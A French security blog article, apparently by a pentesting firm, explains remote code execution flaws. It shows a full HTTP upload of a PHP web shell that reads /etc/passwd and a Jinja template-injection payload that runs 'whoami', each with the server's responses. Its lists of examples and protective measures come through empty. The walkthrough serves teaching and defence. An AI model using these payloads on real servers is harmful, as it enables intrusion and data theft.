
Exploiter une vulnérabilité RCE pour un pentester, c’est un peu le graal. En fonction du contexte, il existe de nombreuses techniques pour exécuter du code à distance et donc exploiter une RCE.
Au-delà du principe de ce type de vulnérabilité, nous vous présentons dans cet article des exemples d’attaques et d’exploitations de RCE ainsi que les bonnes pratiques et mesures à implémenter pour se protéger.
Une RCE (Remote Code Execution) ou exécution de code à distance est une vulnérabilité qui permet à un attaquant d’exécuter du code arbitraire sur une machine cible. Comme son nom l’indique, cette attaque est effectuée à distance sans accès physique à la machine ciblée.
L’impact d’une attaque RCE va dépendre de l’environnement lié à la machine compromise ainsi que des intentions de l’attaquant.
Souvent, la RCE constitue le point d’entrée et conduit à d’autres attaques. Cela peut aller de la simple fuite d’informations à la prise de contrôle totale d’une machine. Voici une liste d’exemples concrets liés à l’exploitation d’une RCE :
Compte tenu de l’impact potentiel, ce type de vulnérabilité est quasi systématiquement considéré comme critique.
Le terme RCE regroupe tous les types de vulnérabilités existantes conduisant à une exécution de code. Les causes peuvent donc être multiples.
Nous pouvons par exemple relever les cas suivants :
Dans la suite de cet article, nous nous concentrerons sur des RCE liées à des vulnérabilités web.
Vous l’aurez compris, en fonction du type de vulnérabilité permettant une exécution de code, les méthodes de détection ne sont pas les mêmes.
Pour l’exploitation d’une CVE, il suffit à l’attaquant de détecter la version des composants utilisés par le serveur et de regarder si une vulnérabilité de type RCE lui est associée. Dans ce cas, la détection et l’exploitation peuvent souvent se faire de façon automatisée.
En revanche, lorsqu’il s’agit de vulnérabilités spécifiques à la plateforme, il n’y a pas de méthode prédéfinie. L’idée consiste à analyser les fonctionnalités accessibles et chercher à les utiliser de façon inattendue. Par ailleurs, sur des applications web, certaines fonctionnalités sont plus souvent associées à des RCE que d’autres, notamment :
Il est cependant important de ne pas s’arrêter à cette liste, car cela dépend de votre application. Si vous avez accès au code source de la solution, vous pouvez par exemple chercher les occurrences de fonctions connues pour être vulnérables si elles sont utilisées avec des données contrôlables par l’utilisateur (la fonction « eval » en PHP par exemple).
Passons maintenant à la pratique avec quelques exemples concrets.
Un cas classique de RCE est celui lié au dépôt de fichiers arbitraires. Cependant il a tendance à se raréfier avec l’utilisation de buckets sur le cloud pour le stockage de fichiers.
Dans ce scénario, une application web en PHP propose à l’utilisateur une fonctionnalité permettant d’uploader des images. Ces images sont stockées dans un dossier « /uploads/images/ » à la racine du serveur web. Les fichiers ne sont pas vérifiés ni renommés. Les droits d’exécution sont laissés sur le dossier contenant les fichiers.
Requête HTTP :
POST /upload HTTP/1.1
Host: test.www.vaadata.com
Content-Type: multipart/form-data; boundary=---------------------------23970119286181897661102571495
Content-Length: 262
-----------------------------23970119286181897661102571495
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/jpeg
<?php
system("cat /etc/passwd");
?>
-----------------------------23970119286181897661102571495—
Réponse :
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 21 Apr 2023 12:57:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 802
[REDACTED]
Image path <a href=’./uploads/images’>rce.php</a>
[REDACTED]
Le code envoyé dans la requête ci-dessus permet d’exécuter la commande « cat /etc/password » sur le système si le code PHP est interprété.
Dans la réponse du serveur, nous pouvons voir le chemin où a été uploadé le fichier. Le fait que la réponse soit un « 200 OK » montre qu’il n’y a aucune vérification sur le type de fichier qui est transmis.
Si nous nous rendons sur le fichier « rce.php », le code PHP est interprété et nous pouvons lire le contenu du fichier « /etc/passwd » :
GET /upload/images/rce.php HTTP/1.1
Host: test.www.vaadata.com
Réponse :
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 21 Apr 2023 12:57:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 802
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[REDACTED]
La vulnérabilité réside dans le fait que le serveur ne vérifie pas le type de fichier transmis. Un attaquant peut uploader un fichier PHP contenant du code malveillant. Le dossier « /upload/images » contenant les fichiers ayant les droits d’exécution et étant directement accessible depuis le navigateur, les fichiers PHP qu’il contient sont automatiquement interprétés par le serveur lorsqu’un utilisateur y accède. L’attaquant peut donc envoyer n’importe quel code PHP. La RCE est avérée.
L’étape suivante pour un attaquant consiste généralement à créer un reverse shell, à savoir rediriger l’entrée et la sortie d’un shell de la machine cible vers la machine de l’attaquant pour effectuer des commandes systèmes à distance. Puis l’attaquant va se propager sur le système ciblé et les potentielles machines adjacentes.
Le cas décrit dans la vulnérabilité qui suit est une RCE découverte durant en pentest en boîte blanche. Il s’agit d’une RCE liée à un traitement effectué par le serveur lorsqu’un fichier de type audio ou vidéo est uploadé.
Nous avons écrit un write-up détaillé sur cette exploitation, que vous pouvez consulter via le lien ci-dessous :
Une vulnérabilité RCE dans un nom de fichier
Lors d’un audit, nous avons testé une application proposant aux collaborateurs de personnaliser des emails envoyés aux clients.
Cette application utilisait un moteur de template pour dissocier la présentation visuelle (HTML, CSS, etc.) de la logique applicative (PHP, Python, etc.). Ces moteurs permettent de créer des fichiers modèles (des templates) dans l’application.
Les templates sont un mélange de données fixes (mise en page) et de données dynamiques (variables). En l’occurrence, l’application utilisait le moteur de template Jinja et la fonctionnalité de personnalisation des emails utilisait ces templates. Cependant, les données utilisateurs n’étaient pas correctement traitées, permettant aux auditeurs d’injecter des directives arbitraires pour manipuler le moteur de template au sein des emails personnalisés.
Lors de la personnalisation d’un email, l’application affichait le rendu de l’email une fois personnalisé, permettant de récupérer les résultats de la commande exécutée sur le système sous-jacent, suite à l’injection.
La requête suivante permettait d’injecter une charge spécifiquement conçue pour exécuter une commande sur le serveur lors que le moteur de template de l’application interprète l’email personnalisé pour afficher le rendu à l’utilisateur :
Requête HTTP :
POST /emails HTTP/1.1
Host: ssti.www.vaadata.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 273
Connection: close
email_to=pentest%40www.vaadata.com&content=Bonjour+{{customer.name}}+{%25+for+x+in+().__class__.__base__.__subclasses__()+%25}{%25+if+"warning"+in+x.__name__+%25}{{x()._module.__builtins__['__import__']('os').popen("whoami").read()}}{%25endif%25}{%25+endfor+%25}&action=preview
La directive envoyée dans la requête ci-dessus permet d’exécuter la commande « whoami » sur le système si le moteur de template interprète le code. Dans la réponse du serveur ci-dessous, nous pouvons voir que la directive a bien été interprétée par le moteur de template et que la commande « whoami » a retourné la valeur « www-data ».
Réponse :
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 4043
Server: Werkzeug
Date: Fri, 18 Aug 2023 07:47:02 GMT
[REDACTED]
<div>
Bonjour Pentester www-data
[REDACTED]
Ici, la vulnérabilité vient du fait que les données utilisateurs sont interprétées directement par le moteur de template (en tant que données dynamiques), au lieu d’être intégrées en tant que données fixes.
Ainsi, un attaquant peut exécuter des commandes arbitraires sur le serveur sous-jacent afin de le compromettre. Par la suite, l’attaquant peut tenter de compromettre la base de données de l’application, récupérer le code source de cette dernière et mener des attaques contre le système informatique interne de l’entreprise.
Les RCE couvrent un large spectre de vulnérabilités différentes. Il est donc complexe de donner des recommandations techniques précises.
Néanmoins, voici quelques principes pour se protéger :
Auteur : Yoan MONTOYA – Pentester @Vaadata